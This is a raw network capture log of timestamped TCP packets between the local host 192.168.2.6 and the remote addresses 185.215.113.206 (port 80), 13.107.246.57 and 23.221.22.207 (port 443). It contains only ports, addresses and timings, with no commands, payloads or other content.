Nov 12, 2024 10:37:31.851643085 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.851686954 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.851788998 CET	443	49904	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:31.852150917 CET	49904	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.852160931 CET	443	49904	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:31.852494955 CET	443	49904	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:31.853321075 CET	49904	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.853374004 CET	443	49904	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:31.854227066 CET	49904	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.895320892 CET	443	49904	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:31.962727070 CET	49917	443	192.168.2.6	23.221.22.207
Nov 12, 2024 10:37:31.962760925 CET	443	49917	23.221.22.207	192.168.2.6
Nov 12, 2024 10:37:31.962913990 CET	49918	443	192.168.2.6	23.221.22.207
Nov 12, 2024 10:37:31.962954998 CET	443	49918	23.221.22.207	192.168.2.6
Nov 12, 2024 10:37:31.963061094 CET	49918	443	192.168.2.6	23.221.22.207
Nov 12, 2024 10:37:31.963192940 CET	49917	443	192.168.2.6	23.221.22.207
Nov 12, 2024 10:37:31.963192940 CET	49917	443	192.168.2.6	23.221.22.207
Nov 12, 2024 10:37:31.963222980 CET	443	49917	23.221.22.207	192.168.2.6
Nov 12, 2024 10:37:31.963418961 CET	49918	443	192.168.2.6	23.221.22.207
Nov 12, 2024 10:37:31.963427067 CET	443	49918	23.221.22.207	192.168.2.6
Nov 12, 2024 10:37:31.965904951 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.965918064 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.965929031 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.965982914 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.966031075 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.966190100 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.966202021 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.966212988 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.966223001 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.966238976 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.966310024 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:31.984749079 CET	443	49904	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:31.984770060 CET	443	49904	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:31.984816074 CET	443	49904	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:31.984927893 CET	49904	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.986069918 CET	49919	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.986099005 CET	443	49919	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:31.986150980 CET	49904	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.986160040 CET	443	49904	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:31.986232042 CET	49919	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.986565113 CET	49919	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.986574888 CET	443	49919	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.003539085 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.003552914 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.003565073 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.003621101 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.003621101 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.003689051 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.003703117 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.003715038 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.003727913 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.003787041 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.003787041 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.003977060 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.003997087 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.004009008 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.004054070 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.004054070 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.004168987 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.004183054 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.004209042 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.004220009 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.004232883 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.004251957 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.004261971 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.004272938 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.004283905 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.004285097 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.004304886 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.004368067 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.004468918 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.004584074 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.004594088 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.004605055 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.004606962 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.004621983 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.004657030 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.004776955 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.004791975 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.004803896 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.004820108 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.004822969 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.004843950 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.004895926 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.082515001 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.082557917 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.082568884 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.082581997 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.082602978 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.082608938 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.082658052 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.082667112 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.082734108 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.082743883 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.082792997 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.082792997 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.082792997 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.119945049 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.119983912 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.119995117 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.120001078 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.120033979 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.120122910 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.120135069 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.120172977 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.120279074 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.120290041 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.120305061 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.120310068 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.120317936 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.120330095 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.120341063 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.120347977 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.120374918 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.120584011 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.120631933 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.120645046 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.120692968 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.120714903 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.120726109 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.120740891 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.120806932 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.120816946 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.120843887 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.120976925 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.120987892 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.121017933 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.121088028 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.121099949 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.121109962 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.121120930 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.121129036 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.121165037 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.121535063 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.121546030 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.121556997 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.121567965 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.121579885 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.121598005 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.121665001 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.121676922 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.121711016 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.129919052 CET	443	49905	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.130294085 CET	49905	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.130310059 CET	443	49905	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.130640030 CET	443	49905	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.130937099 CET	49905	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.130987883 CET	443	49905	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.131223917 CET	49905	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.134285927 CET	443	49906	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.134485006 CET	49906	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.134500027 CET	443	49906	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.135942936 CET	443	49909	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.136171103 CET	49909	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.136193037 CET	443	49909	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.136972904 CET	443	49906	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.137134075 CET	49906	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.137520075 CET	49906	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.137675047 CET	49906	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.137937069 CET	443	49909	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.137994051 CET	49909	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.138052940 CET	443	49906	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.138463974 CET	49909	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.138509035 CET	443	49909	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.138600111 CET	49909	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.148191929 CET	443	49908	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.148376942 CET	443	49907	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.148421049 CET	49908	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.148442984 CET	443	49908	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.148576021 CET	49907	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.148591995 CET	443	49907	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.149545908 CET	443	49907	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.149596930 CET	49907	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.149707079 CET	443	49908	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.149759054 CET	49908	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.149930954 CET	49907	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.149983883 CET	443	49907	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.150418043 CET	49908	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.150538921 CET	443	49908	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.150600910 CET	49907	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.150607109 CET	443	49907	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.150656939 CET	49908	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.150661945 CET	443	49908	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.175321102 CET	443	49905	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.179325104 CET	443	49909	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.181696892 CET	49906	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.181704044 CET	49909	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.181710958 CET	443	49906	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.181715012 CET	443	49909	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.197079897 CET	49908	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.197180033 CET	49907	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.199616909 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.199634075 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.199644089 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.199675083 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.199707031 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.199749947 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.199762106 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.199770927 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.199791908 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.199814081 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.227551937 CET	49909	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.227560997 CET	49906	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.238593102 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.238676071 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.238763094 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.238775015 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.238785982 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.238797903 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.238820076 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.238830090 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.238856077 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.238895893 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.238908052 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.238941908 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.239008904 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.239063025 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.239073992 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.239084959 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.239099979 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.239115000 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.239403963 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.239417076 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.239448071 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.239712000 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.239737988 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.239748955 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.239748955 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.239782095 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.240107059 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.240118027 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.240148067 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.240392923 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.240403891 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.240413904 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.240425110 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.240432024 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.240436077 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.240449905 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.240469933 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.240633011 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.240705013 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.240817070 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.240832090 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.240844011 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.240852118 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.240854979 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.240864992 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.240880013 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.258594990 CET	443	49905	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.258619070 CET	443	49905	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.258658886 CET	49905	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.258670092 CET	443	49905	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.258693933 CET	443	49905	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.258769035 CET	49905	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.261073112 CET	49905	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.261082888 CET	443	49905	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.261558056 CET	49920	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.261590958 CET	443	49920	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.261689901 CET	49920	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.262204885 CET	49920	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.262214899 CET	443	49920	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.266550064 CET	443	49909	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.266587019 CET	443	49909	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.266628981 CET	443	49909	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.266669989 CET	49909	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.267317057 CET	49909	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.267330885 CET	443	49909	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.272111893 CET	443	49906	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.272129059 CET	443	49906	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.272171974 CET	49906	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.272203922 CET	443	49906	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.272929907 CET	49906	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.272959948 CET	443	49906	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.273063898 CET	443	49906	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.273122072 CET	49906	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.273122072 CET	49906	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.279372931 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.279431105 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.279467106 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.279566050 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.282519102 CET	443	49908	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.282541037 CET	443	49908	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.282736063 CET	49908	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.282746077 CET	443	49908	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.283546925 CET	443	49908	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.283570051 CET	49908	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.283577919 CET	443	49908	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.283587933 CET	49908	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.283617973 CET	49908	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.284876108 CET	443	49907	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.284898043 CET	443	49907	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.284939051 CET	49907	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.284949064 CET	443	49907	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.284960985 CET	443	49907	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.284996986 CET	49907	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.285995007 CET	49907	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.286001921 CET	443	49907	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.316488981 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.316529036 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.316538095 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.316540003 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.316561937 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.316580057 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.316606998 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.316616058 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.316627979 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.316644907 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.316660881 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.316678047 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.316773891 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.355495930 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.355520010 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.355530977 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.355568886 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.355634928 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.355647087 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.355667114 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.355696917 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.355775118 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.355787039 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.355822086 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.355899096 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.355910063 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.355931044 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.355953932 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.356023073 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.356034994 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.356067896 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.356153965 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.356228113 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.356257915 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.356268883 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.356281042 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.356292963 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.356309891 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.356522083 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.356533051 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.356544971 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.356575012 CET	49834	80	192.168.2.6	185.215.113.206
